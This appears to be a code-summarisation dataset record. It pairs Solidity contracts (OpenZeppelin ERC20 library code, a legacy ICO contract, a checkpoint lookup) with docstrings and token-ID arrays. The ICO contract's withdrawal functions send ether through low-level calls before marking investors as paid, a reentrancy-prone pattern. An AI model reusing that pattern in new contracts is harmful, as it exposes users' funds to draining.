/** * @dev Returns the name of the token. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5.05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless this function is * overridden; * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual override returns (uint8) { return 18; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom( address sender, address recipient, uint256 amount ) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); unchecked { _approve(sender, _msgSender(), currentAllowance - amount); } return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); unchecked { _approve(_msgSender(), spender, currentAllowance - subtractedValue); } return true; } /** * @dev Moves `amount` of tokens from `sender` to `recipient`. * * This internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer( address sender, address recipient, uint256 amount ) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); unchecked { _balances[sender] = senderBalance - amount; } _balances[recipient] += amount; emit Transfer(sender, recipient, amount); _afterTokenTransfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); _afterTokenTransfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); unchecked { _balances[account] = accountBalance - amount; } _totalSupply -= amount; emit Transfer(account, address(0), amount); _afterTokenTransfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve( address owner, address spender, uint256 amount ) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 amount ) internal virtual {} /** * @dev Hook that is called after any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * has been transferred to `to`. * - when `from` is zero, `amount` tokens have been minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens have been burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _afterTokenTransfer( address from, address to, uint256 amount ) internal virtual {} } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../IERC20.sol"; /** * @dev Interface for the optional metadata functions from the ERC20 standard. * * _Available since v4.1._ */ interface IERC20Metadata is IERC20 { /** * @dev Returns the name of the token. */ function name() external view returns (string memory); /** * @dev Returns the symbol of the token. */ function symbol() external view returns (string memory); /** * @dev Returns the decimals places of the token. */ function decimals() external view returns (uint8); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./IERC165.sol"; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev String operations. */ library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (access/IAccessControl.sol) pragma solidity ^0.8.0; /** * @dev External interface of AccessControl declared to support ERC165 detection. */ interface IAccessControl { /** * @dev Emitted when `newAdminRole` is set as ``role``'s admin role, replacing `previousAdminRole` * * `DEFAULT_ADMIN_ROLE` is the starting admin for all roles, despite * {RoleAdminChanged} not being emitted signaling this. * * _Available since v3.1._ */ event RoleAdminChanged(bytes32 indexed role, bytes32 indexed previousAdminRole, bytes32 indexed newAdminRole); /** * @dev Emitted when `account` is granted `role`. * * `sender` is the account that originated the contract call, an admin role * bearer except when using {AccessControl-_setupRole}. */ event RoleGranted(bytes32 indexed role, address indexed account, address indexed sender); /** * @dev Emitted when `account` is revoked `role`. * * `sender` is the account that originated the contract call: * - if using `revokeRole`, it is the admin role bearer * - if using `renounceRole`, it is the role bearer (i.e. `account`) */ event RoleRevoked(bytes32 indexed role, address indexed account, address indexed sender); /** * @dev Returns `true` if `account` has been granted `role`. */ function hasRole(bytes32 role, address account) external view returns (bool); /** * @dev Returns the admin role that controls `role`. See {grantRole} and * {revokeRole}. * * To change a role's admin, use {AccessControl-_setRoleAdmin}. */ function getRoleAdmin(bytes32 role) external view returns (bytes32); /** * @dev Grants `role` to `account`. * * If `account` had not been already granted `role`, emits a {RoleGranted} * event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function grantRole(bytes32 role, address account) external; /** * @dev Revokes `role` from `account`. * * If `account` had been granted `role`, emits a {RoleRevoked} event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function revokeRole(bytes32 role, address account) external; /** * @dev Revokes `role` from the calling account. * * Roles are often managed via {grantRole} and {revokeRole}: this function's * purpose is to provide a mechanism for accounts to lose their privileges * if they are compromised (such as when a trusted device is misplaced). * * If the calling account had been granted `role`, emits a {RoleRevoked} * event. * * Requirements: * * - the caller must be `account`. */ function renounceRole(bytes32 role, address account) external; } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); }
called on transfers
function updateReward(address _from) internal { require(msg.sender == _from); uint256 time = min(block.timestamp, END); uint256 timerFrom = lastUpdate[_from]; if(timerFrom <= 0){ timerFrom = START; } if (timerFrom > 0) rewards[_from] += botsContract.botsBalance(_from).mul(BASE_RATE.mul((time.sub(timerFrom)))).div(86400); if (timerFrom != END) lastUpdate[_from] = time; }
5,959,187
[ 1, 11777, 603, 29375, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 202, 915, 1089, 17631, 1060, 12, 2867, 389, 2080, 13, 2713, 288, 203, 202, 202, 6528, 12, 3576, 18, 15330, 422, 389, 2080, 1769, 203, 202, 202, 11890, 5034, 813, 273, 1131, 12, 2629, 18, 5508, 16, 7273, 1769, 203, 202, 202, 11890, 5034, 5441, 1265, 273, 1142, 1891, 63, 67, 2080, 15533, 203, 202, 202, 430, 12, 12542, 1265, 1648, 374, 15329, 203, 1082, 202, 12542, 1265, 273, 10485, 31, 203, 202, 202, 97, 203, 202, 202, 430, 261, 12542, 1265, 405, 374, 13, 203, 1082, 202, 266, 6397, 63, 67, 2080, 65, 1011, 2512, 87, 8924, 18, 4819, 87, 13937, 24899, 2080, 2934, 16411, 12, 8369, 67, 24062, 18, 16411, 12443, 957, 18, 1717, 12, 12542, 1265, 20349, 2934, 2892, 12, 28, 1105, 713, 1769, 203, 202, 202, 430, 261, 12542, 1265, 480, 7273, 13, 203, 1082, 202, 2722, 1891, 63, 67, 2080, 65, 273, 813, 31, 203, 202, 97, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
/** ______ __ __ __ /_ __/___ _/ /__ ____ / /_____ / /_____ ____ / / / __ `/ / _ \/ __ \/ __/ __ \/ //_/ _ \/ __ \ / / / /_/ / / __/ / / / /_/ /_/ / ,< / __/ / / / /_/ \__,_/_/\___/_/ /_/\__/\____/_/|_|\___/_/ /_/ */ pragma solidity ^0.4.18; import './Owned.sol'; import './Talentoken.sol'; contract ICO is Owned { uint8 public decimals = 8; uint256 private TOKEN_UNIT = 10 ** uint256(decimals); // status variable uint256 public softcap = 2300 ether; //Includes minimum development and marketing costs uint256 public hardcap = 15500 ether; uint256 public marketingcap = 300 ether; uint256 public bottom = 0.15 ether; uint256 public top = 100 ether; uint256 public deadline = 10 weeks; uint256 public price; // base price uint256 public ICOTokenAmount = 55000000 * TOKEN_UNIT; uint256 public soldToken; uint256 public fundedEth; uint256 public startTime; Talentoken public tokenReward; // flags bool public softcapReached; bool public hardcapReached; bool public ICOproceeding; struct InvestorProperty { uint256 payment; // paid ETH uint256 reserved; // received token bool withdrawed; // withdrawl flag } mapping (address => InvestorProperty) public InvestorsProperty; //asset information of investors mapping (uint => address) public InvestorsAddress; uint public index; // event notification event ICOStart(uint hardcap, uint deadline, uint tokenAmount, address beneficiary); event ReservedToken(address backer, uint amount, uint token); event CheckGoalReached(address beneficiary, uint hardcap, uint amountRaised, bool reached, uint raisedToken); event WithdrawalToken(address addr, uint amount, bool result); event WithdrawalEther(address addr, uint amount, bool result); // constructor function ICO (Talentoken _addressOfTokenContract) public { price = 16050 ether / ICOTokenAmount; tokenReward = Talentoken(_addressOfTokenContract); startTime = tokenReward.startTime(); deadline = startTime + deadline; } // anonymous function for receive ETH function () public payable { // exception handling before or after expiration require (ICOproceeding && now < deadline); // limit maximum gas price require (tx.gasprice <= 50000000000 wei); // received Ether and to-be-sold token uint256 amount = msg.value; uint256 token = amount / price; require (token != 0); require (amount >= bottom); require (amount <= top); if (fundedEth <= marketingcap) { token = token * 15 / 10; } else { if (fundedEth <= softcap) { token = token * 12 / 10; } } if (soldToken + token < ICOTokenAmount) { InvestorsAddress[index] = msg.sender; index++; InvestorsProperty[msg.sender].payment += amount; InvestorsProperty[msg.sender].reserved += token; soldToken += token; fundedEth += amount; if (fundedEth > softcap) { softcapReached = true; } ReservedToken(msg.sender, amount, token); } else { token = ICOTokenAmount - soldToken; amount = token * price; InvestorsAddress[index] = msg.sender; index++; InvestorsProperty[msg.sender].payment += amount; InvestorsProperty[msg.sender].reserved += token; soldToken += token; fundedEth += amount; uint256 returnSenderAmount = msg.value - amount; // Return the difference when hardcap is exceeded if (returnSenderAmount > 0) { msg.sender.transfer(returnSenderAmount); } ReservedToken(msg.sender, amount, token); softcapReached = true; hardcapReached = true; ICOproceeding = false; CheckGoalReached(owner, hardcap, this.balance, softcapReached, soldToken); } } // start when the # of token is more than cap function start() public onlyOwner { require (price != 0); require (startTime != 0); require (tokenReward != address(0)); if (tokenReward.balanceOf(this) >= ICOTokenAmount) { ICOproceeding = true; ICOStart(hardcap, deadline, ICOTokenAmount, owner); } } function addStartTime(uint _time) public onlyOwner { startTime += _time; } function subStartTime(uint _time) public onlyOwner { startTime -= _time; } function addDeadTime(uint _time) public onlyOwner { deadline += _time; } function subDeadTime(uint _time) public onlyOwner { deadline -= _time; } // function for check remaining time, diff from cap function getRemainingTimeEthToken() public constant returns(uint min, uint shortage, uint remainToken) { if (now < deadline) { min = (deadline - now) / (1 minutes); } shortage = (hardcap - fundedEth) / (1 ether); remainToken = ICOTokenAmount - soldToken; } // withdrawl function for owner // available when softcap reached function withdrawalOwner() public onlyOwner { if (now > deadline) { ICOproceeding = false; } if (ICOproceeding) { if (softcapReached) { uint amount = this.balance; if (amount > 0) { bool ok = msg.sender.call.value(amount)(); WithdrawalEther(msg.sender, amount, ok); } } else { uint256 withdrawnAmount = fundedEth - this.balance; if (withdrawnAmount <= marketingcap) { if (withdrawnAmount + this.balance > marketingcap) { bool marketingOk = msg.sender.call.value(marketingcap - withdrawnAmount)(); WithdrawalEther(msg.sender, marketingcap - withdrawnAmount, marketingOk); } else { bool marketingOk2 = msg.sender.call.value(this.balance)(); WithdrawalEther(msg.sender, this.balance, marketingOk2); } } } } else { if (softcapReached) { uint amount2 = this.balance; if (amount2 > 0) { bool ok2 = msg.sender.call.value(amount2)(); WithdrawalEther(msg.sender, 2, ok2); } uint val = ICOTokenAmount - soldToken; if (val > 0) { tokenReward.transfer(msg.sender, ICOTokenAmount - soldToken); WithdrawalToken(msg.sender, val, true); } } else { uint val2 = tokenReward.balanceOf(this); tokenReward.transfer(msg.sender, val2); WithdrawalToken(msg.sender, val2, true); } } } function withdrawalAllInvester() public onlyOwner { if (now > deadline) { ICOproceeding = false; } require (!ICOproceeding); if (softcapReached) { for (uint i = 0; i < index; i++) { address investerAddress = InvestorsAddress[i]; if (InvestorsProperty[investerAddress].reserved > 0 && InvestorsProperty[investerAddress].withdrawed != true) { tokenReward.transfer(investerAddress, InvestorsProperty[investerAddress].reserved); InvestorsProperty[investerAddress].withdrawed = true; } } } else { uint re = this.balance; for (uint i2 = 0; i2 < index; i2++) { address investerAddress2 = InvestorsAddress[i2]; if (InvestorsProperty[investerAddress2].payment > 0 && InvestorsProperty[investerAddress2].withdrawed != true) { uint returnEth = InvestorsProperty[investerAddress2].payment*re/fundedEth; if (investerAddress2.call.value(returnEth)()) { InvestorsProperty[investerAddress2].withdrawed = true; } } } } } // withdrawl function for investors function withdrawal() public { if (now > deadline) { ICOproceeding = false; } require (!ICOproceeding); require (!InvestorsProperty[msg.sender].withdrawed); // when softcap reached: tokens // else: ETH if (softcapReached) { if (InvestorsProperty[msg.sender].reserved > 0) { tokenReward.transfer(msg.sender, InvestorsProperty[msg.sender].reserved); InvestorsProperty[msg.sender].withdrawed = true; WithdrawalToken( msg.sender, InvestorsProperty[msg.sender].reserved, InvestorsProperty[msg.sender].withdrawed ); } } else { if (InvestorsProperty[msg.sender].payment > 0) { uint returnEth = InvestorsProperty[msg.sender].payment*this.balance/fundedEth; if (msg.sender.call.value(returnEth)()) { InvestorsProperty[msg.sender].withdrawed = true; } WithdrawalEther( msg.sender, InvestorsProperty[msg.sender].payment, InvestorsProperty[msg.sender].withdrawed ); } } } }
start when the # of token is more than cap
function start() public onlyOwner { require (price != 0); require (startTime != 0); require (tokenReward != address(0)); if (tokenReward.balanceOf(this) >= ICOTokenAmount) { ICOproceeding = true; ICOStart(hardcap, deadline, ICOTokenAmount, owner); } }
1,028,561
[ 1, 1937, 1347, 326, 225, 434, 1147, 353, 1898, 2353, 3523, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 787, 1435, 1071, 1338, 5541, 288, 203, 3639, 2583, 261, 8694, 480, 374, 1769, 203, 3639, 2583, 261, 1937, 950, 480, 374, 1769, 203, 3639, 2583, 261, 2316, 17631, 1060, 480, 1758, 12, 20, 10019, 203, 540, 203, 3639, 309, 261, 2316, 17631, 1060, 18, 12296, 951, 12, 2211, 13, 1545, 467, 3865, 1345, 6275, 13, 288, 203, 5411, 467, 3865, 685, 5288, 310, 273, 638, 31, 203, 5411, 467, 3865, 1685, 12, 20379, 5909, 16, 14096, 16, 467, 3865, 1345, 6275, 16, 3410, 1769, 203, 3639, 289, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./partial_match/84531/0xA39039AF66e9c7bd3CE53aa56B95F46D0b6BB364/sources/contracts/src/diamond/facets/governance/votes/Checkpoints.sol
* @dev Returns the value in the last (most recent) checkpoint with key lower or equal than the search key, or zero if there is none./
function upperLookup( Trace160 storage self, uint96 key ) internal view returns (uint160) { uint256 len = self._checkpoints.length; uint256 pos = _upperBinaryLookup(self._checkpoints, key, 0, len); return pos == 0 ? 0 : _unsafeAccess(self._checkpoints, pos - 1)._value; }
16,688,042
[ 1, 1356, 326, 460, 316, 326, 1142, 261, 10329, 8399, 13, 9776, 598, 498, 2612, 578, 3959, 2353, 326, 1623, 498, 16, 578, 3634, 309, 1915, 353, 6555, 18, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
